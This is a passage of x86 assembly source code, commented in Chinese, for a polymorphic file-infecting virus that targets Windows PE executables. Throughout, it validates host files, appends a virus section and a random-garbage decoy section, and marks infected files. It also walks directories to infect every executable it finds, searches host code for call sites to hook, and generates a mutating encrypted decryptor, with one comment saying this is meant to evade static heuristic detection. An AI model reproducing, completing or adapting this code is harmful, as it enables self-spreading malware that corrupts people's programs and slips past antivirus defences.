ptr[ebp].infect_pe_fil_align,ecx mov ecx,dword ptr [eax + 16] ; address of entry point ;is win GUI or win CUI ? cmp word ptr [eax + 68],IMAGE_SUBSYSTEM_WINDOWS_GUI jb bad_file cmp word ptr [eax + 68],IMAGE_SUBSYSTEM_WINDOWS_CUI ja bad_file add eax,ebx mov dword ptr [ebp].ptr_sect_headers,eax ;is first section .text or CODE cmp dword ptr [eax],'xet.' je cnt11 cmp dword ptr [eax],'EDOC' jne bad_file cnt11: ;is OEP within first section ? ;ecx 是入口点地址 mov ebx,dword ptr [eax + 12] cmp ecx,ebx ; is higher than virt_address jb bad_file ; is lower than code VA add ebx,dword ptr [eax + 8] ; add virtual size cmp ecx,ebx ; is within virtual size of code section jae bad_file ; check for installer good_file: xor eax,eax inc eax retn bad_file: xor eax,eax retn assume eax:nothing check_pe_invalid2 endp ;__in eax - > pe头 is_section_space proc pushad popad mov esi,eax sub esi,4 mov ebx,esi add ebx,14h ; 定位到ImageFileHeader mov ebx,[ebx + 20h] mov [ebp].infect_imagebase,ebx mov ecx,[esi + 74h] ; 得到pe头部director的数目 imul ecx,ecx,8 lea eax,[ecx+esi+78h] mov [ebp].infect_pe_director,eax movzx ecx,word ptr[esi + 6h] imul ecx,ecx,28h add eax,ecx xchg eax,esi; 最后节开始偏移 call search_section_space test eax,eax jnz @f ;没有空间看是否有bound_import域,有的话重写后感染 call is_bound_import test eax,eax jnz @f xor eax,eax ret @@: xor eax,eax inc eax ret is_section_space endp ;___in esi --> 最后一个节点位置,扫描该位置看是否有50h的空间 ;___out eax --> 0 不感染 ; --> 1 感染 search_section_space proc ;搜索空白区域 mov ecx,50h xor eax,eax r_: lodsb test eax,eax jnz @f dec ecx test ecx,ecx jz s_ jmp r_ s_: inc eax ret @@: xor eax,eax ret search_section_space endp ;___in esi --> 节开始位置 ;___out eax --> 0 不存在bound_import ; --> 1 存在bound_import is_bound_import proc ;检测bound_import域 mov ecx,5 * 8 ;定位到Data_Directories->Bound Import位置 push esi mov esi,[ebp].infect_pe_director sub esi,ecx mov ecx,8 xor eax,eax r_0: lodsb test eax,eax jnz _s dec ecx test ecx,ecx jz @f jmp r_0 @@: xor eax,eax pop esi ret _s: xor eax,eax dec esi ;减去读出的那个字节,重置bound_import域为0 mov [esi],eax add esi,4 mov [esi],eax inc eax pop esi ret is_bound_import endp ;修改pe文件 infect_2 proc mov eax,200h ; 傀儡节大小 call rand add eax,64h ; 保证至少64h大小 mov [ebp].infect_garbage_sec_size,eax;保存傀儡节大小 xor edx,edx mov ebx,[ebp].infect_pe_fil_align div ebx ;文件对齐 test edx,edx je @f inc eax ;如果不能整除, 除数+1 @@: mul ebx ;ebx得到扩展后虚拟地址 add ecx,eax ;得到宿主+傀儡节对齐size ;计算病毒节的对齐大小 mov eax,obLen xor edx,edx mov ebx,[ebp].infect_pe_fil_align div ebx ;文件对齐 test edx,edx je @f inc eax ;如果不能整除, 除数+1 @@: mul ebx ;ebx得到扩展后虚拟地址 add ecx,eax ;得到宿主+傀儡节 + 病毒节的对齐size mov [ebp].infect_file_size,ecx;保留要感染的文件句柄 xor ebx,ebx push ebx push ecx push ebx push PAGE_READWRITE push ebx push [ebp].infect_file_hd call [ebp].aCreateFileMapping ;创建文件映射 test eax,eax je not_infect mov [ebp].infect_hmap,eax ; 保持要感染的文件的内存映射句柄 xor ebx,ebx push ebx push ebx push ebx push FILE_MAP_WRITE push eax call [ebp].aMapViewOfFile ; 获得要感染文件的映射的buff test eax,eax je not_infect mov [ebp].infect_hMem,eax xchg eax,esi cmp word ptr[esi],'ZM' jne not_infect add esi,[esi + 3ch] ;指向PE头部 cmp word ptr[esi],'EP' jne not_infect cmp dword ptr[esi + 8],'mneg' ;检测感染标志 je not_infect mov [ebp].infect_pe_header,esi ;获得imagebase mov ebx,esi add ebx,14h ; 定位到ImageFileHeader mov ebx,[ebx + 20h] mov [ebp].infect_imagebase,ebx mov ecx,[esi + 74h] ; 得到pe头部director的数目 imul ecx,ecx,8 lea eax,[ecx+esi+78h] mov [ebp].infect_pe_director,eax movzx ecx,word ptr[esi + 6h] imul ecx,ecx,28h add eax,ecx xchg eax,esi; 最后节开始偏移 ;添加一个新节 ;#define IMAGE_SIZEOF_SHORT_NAME 8 ;typedef struct _IMAGE_SECTION_HEADER { ; BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; off - 0 - 0x00 ; union ; { ; DWORD PhysicalAddress; ; DWORD VirtualSize; ; } Misc; off - 8 - 0x08 ; DWORD VirtualAddress; off - 12 - 0x0c ; DWORD SizeOfRawData; off - 16 - 0x10 ; DWORD PointerToRawData; off - 20 - 0x14 ; DWORD PointerToRelocations; off - 24 - 0x18 ; DWORD PointerToLinenumbers; off - 28 - 0x1c ; WORD NumberOfRelocations; off - 32 - 0x20 ; WORD NumberOfLinenumbers; off - 34 - 0x22 ; DWORD Characteristics; off - 36 - 0x24 ;} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; mov dword ptr[esi],'adr.' mov word ptr[esi+4],'at' ;写入.rdata名字 mov dword ptr[esi + 8],obLen ; 虚拟地址大小 mov ebx,[eax + 38h] ; 节对齐 mov [ebp].infect_pe_sec_align,ebx mov edi,[eax+3ch] ; 文件对齐 mov [ebp].infect_pe_fil_align,edi; mov ecx,[esi-40+0ch] ;上一个节的v.addr mov eax,[esi-40+8] ;上一个节的v.size ; 看上一个节的对齐情况 xor edx,edx div ebx ;节对齐 test edx,edx je @@1 inc eax ;如果不能整除, 除数+1 @@1: mul ebx ;ebx得到扩展后虚拟地址 add eax,ecx ;加上虚拟地址,得到当前要修改的节的虚拟地址位置 mov [esi + 0ch],eax ;修改本节 v.addr mov [ebp].infect_pe_new_eip,eax ;设置新的eop,用于后面的重定位用,实际上并不修改host eop mov dword ptr[esi + 24h],0E0000020h ;修改节属性 ;设置文件对齐 mov eax,obLen ;本节要修改的文件大小 cdq div edi ;除以文件对齐值 je @@2 inc eax @@2: mul edi ;得到扩展后的文件大小 mov dword ptr[esi + 10h],eax ;写入r.size mov eax,[esi - 40 + 14h] ;得到上一个节的PointerToRawData add eax,[esi - 40 + 10h] ;累加上一个节的SizeOfRawData,当上一个节的文件偏移,既节最末尾的位置 mov [esi + 14h],eax ;写入本节的PointerToRawData位置,既本节的文件起始位置 mov [ebp].infect_raw_vir_start,eax ;保存该值,virus感染文件后的RAW mov eax,[ebp].infect_pe_header;infect_pe_header - > 'PE00' inc word ptr[eax + 6h] ;让numberofsection加1 inc word ptr[eax + 6h] ;让numberofsection加1 mov ebx,[eax + 28h] ;原AddressOfEntryPoint mov [ebp].infect_pe_old_eop,ebx ; 保留宿主AddressOfEntryPoint,用于后面重定位 pushad ;设置一个傀儡节的大小 mov eax,dword ptr[ebp].infect_garbage_sec_size ;esi定位到傀儡节开始位置 add esi,28h mov dword ptr[esi],'ler.' mov word ptr [esi+4],'co' ;写入.rdata名字 mov dword ptr[esi + 8],eax ; 虚拟地址大小 mov ecx,[esi-40+0ch] ;上一个节的v.addr mov eax,[esi-40+8] ;上一个节的v.size ; 看上一个节的对齐情况 mov ebx,[ebp].infect_pe_sec_align xor edx,edx div ebx ;节对齐 test edx,edx je @f inc eax ;如果不能整除, 除数+1 @@: mul ebx ;ebx得到扩展后虚拟地址 add eax,ecx ;加上虚拟地址,得到当前要修改的节的虚拟地址位置 mov [esi + 0ch],eax ;修改本节 v.addr mov dword ptr[esi + 24h],40000020h ;修改节属性为只读 ;设置文件对齐 mov edi,[ebp].infect_pe_fil_align ;文件对齐 mov eax,[ebp].infect_garbage_sec_size ;本节要修改的文件大小 cdq div edi ;除以文件对齐值 je @f inc eax @@: mul edi ;得到扩展后的文件大小 mov dword ptr[esi + 10h],eax ;写入r.size mov eax,[esi - 40 + 14h] ;得到上一个节的PointerToRawData add eax,[esi - 40 + 10h] ;累加上一个节的SizeOfRawData,当上一个节的文件偏移,既节最末尾的位置 mov [esi + 14h],eax ;写入本节的PointerToRawData位置,既本节的文件起始位置 popad ;-------------- 傀儡节添加完毕 ----------------------------------------- ;更新imagebase mov ebx,[eax + 50h] add ebx,vLen mov ecx,[ebp].infect_pe_sec_align xor edx,edx xchg eax,ebx ; eax - > 指向imagebase cdq div ecx ; ecx - > 节对齐值 test edx,edx je @@3 inc eax @@3: mul ecx ;完成病毒节的扩展 ;进行傀儡节的扩展 mov ecx,[ebp].infect_pe_sec_align add eax,[ebp].infect_garbage_sec_size xor edx,edx cdq div ecx test edx,edx je @@4 inc eax @@4: mul ecx xchg eax,ebx ; 完成扩展的imagebase值 ;add ebx,01000h mov [eax + 50h],ebx ;写入感染的标志 mov dword ptr [eax + 8],'mneg' cld ;分配一段用于构造病毒的空间 call my_alloc_virus_body ;获得safe apis call my_safe_api_address ;搜寻宿主程序可能的jump or call ;mov edi,[ebp].alloc_buf ;分配病毒缓冲区 ;测试直接写到内存映射 mov edi,[ebp].infect_raw_vir_start add edi,[ebp].infect_hMem mov [ebp].infect_image_start,edi;感染部分的开始,用于后面的重定位 mov esi,[ebp].infect_hMem ;宿主的映像 add esi,[ebp].infect_pe_old_eop ;esi 指向宿主程序的入口点 mov eax,[ebp].infect_pe_old_eop call RvaToRaw ;获得host eop 的raw mov esi,eax ;stub进行混淆 call my_gen_and_proc_code push edi ;解密子混淆 call my_poly_encrypt_code pop edi ;拷贝病毒体到被感染的文件 mov ecx,vLen lea esi,[ebp].self_begin mov esi,[esi] ;设置当前自身的基址 mov eax,[ebp].infect_pe_new_eip mov [ebp].self_cur_rva_vir_start,eax rep movsb ;加密数据 push edi sub edi,encrypt_size call encrypt_code pop edi ;拷贝垃圾数据到傀儡节 mov ecx,[ebp].infect_garbage_sec_size; _w: mov eax,0ffh call rand stosb dec ecx jnz _w xor eax,eax sub edi,[ebp].infect_hMem push FILE_BEGIN push eax push edi push [ebp].infect_file_hd call [ebp].aSetFilePointer push [ebp].infect_file_hd call [ebp].aSetEndOfFile jmp success not_infect: mov eax,0 ret success: mov eax,1 ret infect_2 endp unmap_file proc push [ebp].infect_hMem call [ebp].aUnmapViewOfFile push [ebp].infect_hmap call [ebp].aCloseHandle ret unmap_file endp ;-------------------------------------------------------------------------------------------------------- ;|gm_find_jump_or_call.inc | ;-------------------------------------------------------------------------------------------------------- ;搜索宿主可能的跳转指令包括 0xff 0x15 ,0xff 0x25 ,0xff mod (2,3,4) ;z0mbie 提供的程序指令频率列表 ;8B 6588971 15% mov modr/m ;FF 2736426 6% push modr/m ;E8 2509099 6% call ;83 2240885 5% cmp/add modr/m (including add esp, xx after call) ;89 2045133 4% mov modr/m ;8D 1573296 3% lea modr/m ;50 1423289 3% push eax ;74 1269798 3% jz ;6A 1064820 2% push xx ;85 1001107 2% test r,r ;0F 939376 2% 0F xx ;56 882376 2% push esi ;75 845429 2% jnz ;... ;notepad.exe 在运行前共执行15个call ,以加密做DNA,以4个为宜,每4call 个修改一个,但实际可做修改的call要小于这个情况 ;最好的方式是以call是作为分割,随机查找后面的高频指令做为交叉感染点。 ;__in si -- > 指向宿主代码 ;__out eax -- > 返回查找到位置 my_find_jump_or_call2 proc assume ebp:ptr GEN_VIR_STRUCT xor ecx,ecx s_loop: push esi call my_lde_opsize ; 计算一下指令当前指令长度 add esp,4 ; 恢复堆栈平衡 xchg eax,ecx ; 保存指令长度 cmp word ptr [esi], 015ffh ; 绝对的跳转 jz f_sys0 cmp word ptr [esi], 011ffh ; 绝对的跳转 jz f_sys1 cmp byte ptr [esi], 0ffh jz cal_mod_r ; 检查可能的mod值,看是否是call cmp byte ptr [esi], 0e8h ; 相对跳转 jz f_cal cmp byte ptr [esi], 000h jz exit_func ; 可能是结束的情况 add esi,ecx ; 继续分析 jmp s_loop f_sys0: add esi,6 call search_frequences_opcode test eax,eax jz @f jmp s_ f_sys1: add esi,2 call search_frequences_opcode test eax,eax jz @f jmp s_ cal_mod_r: inc esi test byte ptr [esi],0d7h ;11|010|111 jz @f dec esi add esi,2 call search_frequences_opcode test eax,eax jz @f jmp s_ f_cal: add esi,5 call search_frequences_opcode test eax,eax jz @f jmp s_ @@: add esi,ecx jmp s_loop s_: mov eax,esi ret exit_func: xor eax,eax ret my_find_jump_or_call2 endp ;___in esi -->指向一个call ;___out eax --> 1 成功找到一个可能的高频指令 (目前版本仅不查找jump指令) ; eax --> 0 未查找到这样的高频指令 ; esi --> 执行当前搜索的高频指令,或者下一个call位置 search_frequences_opcode proc mov [ebp].total_hook_ins_off,0; 清空 mov [ebp].total_hook_ins_len,0; 清空 xor eax,eax _lp: add esi,eax push esi call my_lde_opsize ; 计算一下指令当前指令长度 add esp,4 ; 恢复堆栈平衡 cmp byte ptr[esi],0ebh ;jmp jz @f cmp byte ptr[esi],070h ;jmp jz @f cmp byte ptr[esi],071h ;jmp jz @f cmp byte ptr[esi],072h ;jmp jz @f cmp byte ptr[esi],073h ;jmp jz @f cmp byte ptr[esi],074h ;jmp jz @f cmp byte ptr[esi],075h ;jmp jz @f cmp byte ptr[esi],076h ;jmp jz @f cmp byte ptr[esi],077h ;jmp jz @f cmp byte ptr[esi],078h ;jmp jz @f cmp byte ptr[esi],079h ;jmp jz @f cmp byte ptr[esi],07ah ;jmp jz @f cmp byte ptr[esi],07bh ;jmp jz @f cmp byte ptr[esi],07ch ;jmp jz @f cmp byte ptr[esi],07dh ;jmp jz @f cmp byte ptr[esi],07eh ;jmp jz @f cmp byte ptr[esi],07fh ;jmp jz @f cmp byte ptr[esi],0e8h ;call addr jz @f cmp word ptr[esi],015ffh ;call addr jz @f cmp word ptr[esi],025ffh ;call addr jz @f cmp byte ptr[esi],0ffh ;call rx jz _mod jmp _next @@: mov [ebp].total_hook_ins_off,0 mov [ebp].total_hook_ins_len,0; 清空 jmp _lp ;跳转指令,继续分析 _mod: inc esi test byte ptr [esi],038h ; 00|111|000 mov [ebp].total_hook_ins_off,0 mov [ebp].total_hook_ins_len,0; 清空 jz _lp dec esi xor eax,eax ret _next: push ebx mov ebx,[ebp].total_hook_ins_len add ebx,eax mov [ebp].total_hook_ins_len,ebx pop ebx cmp [ebp].total_hook_ins_len,5 jg _finish mov [ebp].total_hook_ins_off,esi cmp [ebp].total_hook_ins_len,0 jg _c jmp _lp _c: mov [ebp].total_hook_ins_len,eax;仅保留本次长度,不累计上几次情况 jmp _lp _finish: ;调整esi到,要hook的位置 push ebx mov ebx,eax mov eax,[ebp].total_hook_ins_len sub eax,ebx ;得到上一个指令的长度 sub esi,eax ;定位到上一个指令的开始 mov [ebp].total_hook_ins_off,esi pop ebx xor eax,eax inc eax ret ;发现符合条件的情况 search_frequences_opcode endp ;-------------------------------------------------------------------------------------------------------- ;|gm_find_director.inc | ;-------------------------------------------------------------------------------------------------------- ;遍历目录 my_find_director proc assume ebp:ptr GEN_VIR_STRUCT call my_restore_ctx_to_rgs cmp [ebp].vir_cur_exec_dna,4 jnz @fd ;设置要当前执行的DNA序列 5 step mov [ebp].vir_cur_exec_dna,5 ;msg DNA push 0 lea ebx,dword ptr [ebp].paylaod_dna5 lea edx,dword ptr [ebp].payload_title push edx push ebx push 0 call [ebp].aMsg lea eax,[ebp].w32_f_d lea ebx,[ebp].find_exe_name push eax push ebx call [ebp].aFindFirstFile inc eax jz f_fail dec eax mov [ebp].find_file_hd,eax cmp_file_size_high: cmp [ebp].w32_f_d.FileSizeHigh,0 jne s_next lea eax,[ebp].w32_f_d.FullFileName ; 调用感染例程 call my_infect_file s_next: lea eax,[ebp].w32_f_d push eax mov eax,dword ptr[ebp].find_file_hd push eax call [ebp].aFindNextFile cmp eax,0 je f_close jmp cmp_file_size_high f_close: mov eax,dword ptr[ebp].find_file_hd push eax call [ebp].aFindClose f_fail: assume ebp:ptr GEN_VIR_STRUCT call my_save_rgs_to_ctx @fd: ret my_find_director endp my_set_director proc assume ebp:ptr GEN_VIR_STRUCT call my_restore_ctx_to_rgs cmp [ebp].vir_cur_exec_dna,3 jnz @s ;设置要当前执行的DNA序列 4 step mov [ebp].vir_cur_exec_dna,4 call my_get_msg_proc push 0 lea ebx,dword ptr [ebp].paylaod_dna4 lea edx,dword ptr [ebp].payload_title push edx push ebx push 0 call [ebp].aMsg lea ebx,[ebp].dir_buff push ebx push 259 call [ebp].aGetCurrentDirectory push ebx call [ebp].aSetCurrentDirectoryA call my_save_rgs_to_ctx @s: ret my_set_director endp my_get_msg_proc proc lea ebx ,dword ptr [ebp].mod_user32 push ebx call [ebp].aLoadLibrary lea ebx, dword ptr [ebp].s_msgbox push ebx push eax call [ebp].aGetProcAddress mov [ebp].aMsg,eax ret my_get_msg_proc endp ;-------------------------------------------------------------------------------------------------------- ;|gm_decrypt_code.inc | ;-------------------------------------------------------------------------------------------------------- ;加密病毒体代码 ;1 以随机产生动态密钥 ;2 产生如下形式的DNA混淆代码 ;3 增加的代码要写在my_decrypt_xx后面 ;---------------------------------------------------------- de_DNA0_size = 10h * 2 * 4 de_DNA1_size = 10h * 2 * 2 de_DNA2_size = 10h * 2 * 4 de_DNA3_size = 10h * 2 * 7 de_DNA4_size = 10h * 2 * 2 de0: my_decrypt_DNA0 proc I1 inc eax I1 nop I1 nop I1 nop ret my_decrypt_DNA0 endp ;加密DNA1 mov ecx,vir_size ; 赋值病毒要解密的长度给ecx de1: my_decrypt_DNA1 proc ;mov ecx,vvLen I1 nop I1 nop ret my_decrypt_DNA1 endp ;加密DNA2 mov edi,addr(解密地址) de2: my_decrypt_DNA2 proc ;mov edi, offset vv_code I1 nop I1 nop I1 nop I1 nop ret my_decrypt_DNA2 endp ;加密DNA3 xor byte ptr[edi],ebx de3: my_decrypt_DNA3 proc @@: I2 xor eax,eax I2 xor eax,eax ; 在此过程中产生一个密钥,不使用静态的地址密钥,防止静态启发式检测(在生产此代码时,产生一个密钥) @@: I1 nop I1 nop I1 nop I1 nop I1 nop ret my_decrypt_DNA3 endp de4: my_decrypt_DNA4 proc I1 nop I1 nop call vir_start ret my_decrypt_DNA4 endp encrypt_start: my_poly_encrypt_code proc call generate_DNA0 call generate_DNA1 call generate_DNA2 call generate_DNA3 call generate_DNA4 @@: ret my_poly_encrypt_code endp ;------------------------------------------------------------ ; 产生DNA0变形代码,该段产生随机指令 ;------------------------------------------------------------ DNA0_LEN = 10h * 8 generate_DNA0 proc assume ebp:ptr GEN_VIR_STRUCT ;定位DNA0函数的长度 ;清空寄存器 call clear_reg_32 ;获得DNA0函数的首地址 cmp [ebp].self_reloc,0 jz @f mov edi,[ebp].self_cur_rva_vir_start add edi,[ebp].infect_imagebase add edi,stub_size add edi,offset de0 - offset de0 jmp _1 @@: mov edi, dword ptr[ebp].encrypt_dna_table _1: mov [ebp].poly_dna_size,DNA0_LEN mov eax,de_DNA0_size -1 call gen_set_size_code_block mov byte ptr[edi],0c3h inc edi ret generate_DNA0 endp ;------------------------------------------------------------ ; 产生DNA1变形代码,该段产生随机指令 ;------------------------------------------------------------ generate_DNA1 proc cmp [ebp].self_reloc,0 jz @f mov edi,[ebp].self_cur_rva_vir_start add edi,[ebp].infect_imagebase add edi,stub_size add edi,offset de1 - offset de0 jmp _1 @@: lea edi, dword ptr[ebp].encrypt_dna_table add edi,4 * 1 mov edi,[edi] _1: mov eax,de_DNA1_size - 1 call gen_set_size_code_block mov byte ptr[edi],0c3h inc edi ret generate_DNA1 endp ;------------------------------------------------------------ ; 产生DNA2变形代码,该段产生随机指令 ;------------------------------------------------------------ generate_DNA2 proc cmp [ebp].self_reloc,0 jz @f mov edi,[ebp].self_cur_rva_vir_start add edi,[ebp].infect_imagebase add edi,stub_size add edi,offset de2 - offset de0 jmp _1 @@: lea edi, dword ptr[ebp].encrypt_dna_table add edi,4 * 2 mov edi,[edi] _1: mov eax,de_DNA2_size -1 call gen_set_size_code_block mov byte ptr[edi],0c3h inc edi ret generate_DNA2 endp ;------------------------------------------------------------ ; 产生DNA4变形代码,该段产生随机指令 ,call addr , mov eax,xx add eax,xx ,call eax ;------------------------------------------------------------ generate_DNA4 proc cmp [ebp].self_reloc,0 jz @f mov edi,[ebp].self_cur_rva_vir_start add edi,[ebp].infect_imagebase add edi,stub_size add edi,offset de4 - offset de0 jmp _1 @@: lea edi, dword ptr[ebp].encrypt_dna_table add edi,4 * 4 mov edi,[edi] _1: mov eax,de_DNA4_size -1 call gen_set_size_code_block ret generate_DNA4 endp ;--------------------------------------------------------------------------------------------------------------- ; 产生DNA3变形代码, mov ecx,vvLen --->拆解为 mov Rx,rand1 , mov ecx,Rx, add ecx,rand2 (rand1 + rand2 == vvLen) ;--------------------------------------------------------------------------------------------------------------- DNA3_LEN = 10h * 14 generate_DNA3 proc ;解密的算法 ;key1 = (xor/add/sub) ;key2 = (ROL/ROR) ;X = 原始数据 ;Y = 解密后的数据 ;L1 = 加/解密逻辑(xor/add/sub) ;L2 = 加/解密逻辑(ROL/ROR) ;X = (X,L1) ;Y = (X,L2) ;@@: ;xor [edi],key1 ;rol [edi],key2 ;add edi,4 ;sub ecx,4 ; ;loop @b ;获得DNA0函数的首地址 cmp [ebp].self_reloc,0 jz @f mov edi,[ebp].self_cur_rva_vir_start add edi,[ebp].infect_imagebase add edi,stub_size add edi,offset de3 - offset de0 jmp _1 @@: lea edi, dword ptr[ebp].encrypt_dna_table add edi,4 * 3 mov edi,[edi] _1: mov [ebp].poly_dna_size,de_DNA3_size mov [ebp].poly_dna3_start_addr,edi ;开始随机产生call /jump / push_pop mov eax,3 call rand xor ecx,ecx cmp eax,0 jz _call cmp eax,1 jz _jump cmp eax,2 jz _push_pop _call: mov eax,3 call rand inc eax inc ecx call gen_rand_ins jmp @f _jump: mov eax,3 call rand inc eax mov ecx,2 call gen_rand_ins jmp @f _push_pop: cmp eax,3 call rand inc eax mov ecx,3 call gen_rand_ins jmp @f @@: ;产生一个1 ~ 5随机指令 mov eax,5 call rand inc eax xor ecx,ecx call gen_rand_ins ;产生一个随机的0 ~ vvLen 数字d ;因为每次加密4字节,故除以4 mov eax,encrypt_size mov ecx,4 div ecx mov ebx,eax ;得到新的解密次数 mov [ebp].poly_decrypt_len,eax call rand sub ebx,eax ;剩余的值s mov [ebp].vir_t_3,eax ;---------------------------------------产生一个随机的寄存器mov Rx,d--------------------------------------------------------- ;---------------------------------------产生一个mov ecx,rx-------------------------------------------------------------------- mov eax,4 call rand add eax,2 cmp eax,2;-->edx jz _g_edx cmp eax,3;-->ebx jz _g_ebx cmp eax,4 jz _g_esi cmp eax,5 jz _g_edi _g_edx: mov byte ptr[edi],0bah ; mov edx,xxxx inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax ; mov edx,d add edi,4 mov word ptr[edi],0ca8bh add edi,2 jmp @f _g_ebx: mov byte ptr[edi],0bbh ;mov ebx,xxxx inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax ;mov ebx,d add edi,4 mov word ptr[edi],0cb8bh add edi,2 jmp @f _g_esi: mov byte ptr[edi],0beh ;mov esi,xxxx inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax ;mov esx,d add edi,4 mov word ptr[edi],0ce8bh add edi,2 jmp @f _g_edi: mov byte ptr[edi],0bfh ;mov edi,xxxx inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax ;mov esx,d add edi,4 mov word ptr[edi],0cf8bh add edi,2 jmp @f @@: ;push ecx mov byte ptr[edi],051h inc edi ;产生一个1 ~ 5随机指令 mov eax,5 call rand inc eax xor ecx,ecx call gen_rand_ins mov byte ptr[edi],059h inc edi ;pop ecx ;产生一个add ecx,s mov word ptr[edi],0c181h inc edi inc edi mov dword ptr[edi],ebx add edi,4 ;--------------------------------------push ecx ,在后面弹解密时弹出 -------------------------------------------- mov byte ptr[edi],051h inc edi ;------------------------------------------------------------------- -------------------------------------------- ;产生一个1 ~ 8随机指令 mov eax,8 call rand inc eax xor ecx,ecx call gen_rand_ins ;-------------------------------------mov edi,addr ---------------------------------------------------------------------------- ; mov edi,addr ===> mov Rx,addr1 ,add Rx,addr2 (这一块对静态启发来说是弱点,应该在变换更多一些,但这不是重点,目前版本不处理) ;------------------------------------------------------------------------------------------------------------------------------ ;得到需要解密的地址 mov ebx,[ebp].infect_imagebase ;host 的imagebase add ebx,[ebp].infect_pe_new_eip ;感染的节所在的虚拟地址,也就是在不进行oep时的新的eop add ebx,stub_size add ebx,offset encrypt_start - offset v_code ;要加密的地址,病毒自身vv_code开始 cmp [ebp].self_reloc,0 jz first mov eax,[ebp].self_cur_rva_vir_start add eax,[ebp].infect_imagebase add eax,stub_size add eax,encrypt_start - offset v_code mov [ebp].poly_decrypt_address,eax jmp @f first: mov [ebp].poly_decrypt_address,offset encrypt_start @@: ;随机产生不同的解密地址数据 mov eax,ebx call rand mov [ebp].vir_t_3,eax ; 解密地址随机数1 sub ebx,eax mov [ebp].vir_t_4,ebx ; 解密地址随机数2 ;产生一个非ecx的寄存器,用于充当解密的地址寄存器 mov eax,5 call rand cmp eax,0 jz _d_eax cmp eax,1 jz _d_edx cmp eax,2 jz _d_ebx cmp eax,3 jz _d_esi cmp eax,4 jz _d_edi _d_eax: mov [ebp].poly_decrypt_reg,0 mov byte ptr[edi],0b8h inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax add edi,4 mov byte ptr[edi],05h inc edi mov eax,[ebp].vir_t_4 mov dword ptr[edi],eax add edi,4 ;push eax mov byte ptr[edi],50h inc edi mov [ebp].vir_t_3,0 jmp @f _d_ebx: mov [ebp].poly_decrypt_reg,1 mov byte ptr[edi],0bbh inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c381h inc edi inc edi mov eax,[ebp].vir_t_4 mov dword ptr[edi],eax add edi,4 ;push ebx mov byte ptr[edi],53h inc edi mov [ebp].vir_t_3,1 jmp @f _d_edx: mov [ebp].poly_decrypt_reg,2 mov byte ptr[edi],0bah inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c281h inc edi inc edi mov eax,[ebp].vir_t_4 mov dword ptr[edi],eax add edi,4 ;push edx mov byte ptr[edi],52h inc edi mov [ebp].vir_t_3,2 jmp @f _d_esi: mov [ebp].poly_decrypt_reg,3 mov byte ptr[edi],0beh inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c681h inc edi inc edi mov eax,[ebp].vir_t_4 mov dword ptr[edi],eax add edi,4 ;push esi mov byte ptr[edi],56h inc edi mov [ebp].vir_t_3,3 jmp @f _d_edi: mov [ebp].poly_decrypt_reg,4 mov byte ptr[edi],0bfh inc edi mov eax,[ebp].vir_t_3 mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c781h inc edi inc edi mov eax,[ebp].vir_t_4 mov dword ptr[edi],eax add edi,4 ;push edi mov byte ptr[edi],57h inc edi mov [ebp].vir_t_3,4 jmp @f @@: ;插入随机指令 ;产生一个1 ~ 5随机指令 mov eax,5 call rand add eax,5 xor ecx,ecx call gen_rand_ins ;产生随机密钥+滑动密钥 mov eax,0fffffffeh call rand mov [ebp].poly_key,eax mov eax,32 call rand mov [ebp].poly_slide_key,eax ;产生加密算法(xor/add/sub) mov eax,3 call rand mov [ebp].poly_algo1,eax mov eax,2 call rand mov [ebp].poly_algo1,eax ;弹出长度寄存器,及解密寄存器 ;pop 解密的寄存器 cmp [ebp].vir_t_3,0 jz _pop_eax cmp [ebp].vir_t_3,1 jz _pop_ebx cmp [ebp].vir_t_3,2 jz _pop_edx cmp [ebp].vir_t_3,3 jz _pop_esi cmp [ebp].vir_t_3,4 jz _pop_edi _pop_eax: mov byte ptr[edi],58h inc edi jmp @f _pop_ebx: mov byte ptr[edi],5bh inc edi jmp @f _pop_edx: mov byte ptr[edi],5ah inc edi jmp @f _pop_esi: mov byte ptr[edi],5eh inc edi jmp @f _pop_edi: mov byte ptr[edi],5fh inc edi jmp @f @@: ;pop ecx mov byte ptr[edi],59h inc edi ;产生一个密钥key的寄存器mov Rx,x1 ,add rx,x2 ;产生使用密钥key的寄存器 call get_key_reg mov eax,[ebp].poly_key call rand mov ebx,[ebp].poly_key sub ebx,eax ; x2 cmp [ebp].poly_key_reg,0 jz _key_eax cmp [ebp].poly_key_reg,1 jz _key_ebx cmp [ebp].poly_key_reg,2 jz _key_edx cmp [ebp].poly_key_reg,3 jz _key_esi cmp [ebp].poly_key_reg,4 jz _key_edi _key_eax: mov byte ptr[edi],0b8h inc edi mov dword ptr[edi],eax add edi,4 mov byte ptr[edi],05h inc edi mov dword ptr[edi],ebx add edi,4 jmp @f _key_ebx: mov byte ptr[edi],0bbh inc edi mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c381h inc edi inc edi mov dword ptr[edi],ebx add edi,4 jmp @f _key_edx: mov byte ptr[edi],0bah inc edi mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c281h inc edi inc edi mov dword ptr[edi],ebx add edi,4 jmp @f _key_esi: mov byte ptr[edi],0beh inc edi mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c681h inc edi inc edi mov dword ptr[edi],ebx add edi,4 jmp @f _key_edi: mov byte ptr[edi],0bfh inc edi mov dword ptr[edi],eax add edi,4 mov word ptr[edi],0c781h inc edi inc edi mov dword ptr[edi],ebx add edi,4 @@: ; 保存要跳转的地址 mov [ebp].vir_t_3,edi ; 产生不同的解密算法 ;xor cmp [ebp].poly_algo1,0 jz _algo_xor ;add cmp [ebp].poly_algo1,1 jz _algo_add cmp [ebp].poly_algo1,1 jz _algo_sub ;sub _algo_xor: cmp [ebp].poly_decrypt_reg,0 jz _xor_eax cmp [ebp].poly_decrypt_reg,1 jz _xor_ebx cmp [ebp].poly_decrypt_reg,2 jz _xor_edx cmp [ebp].poly_decrypt_reg,3 jz _xor_esi cmp 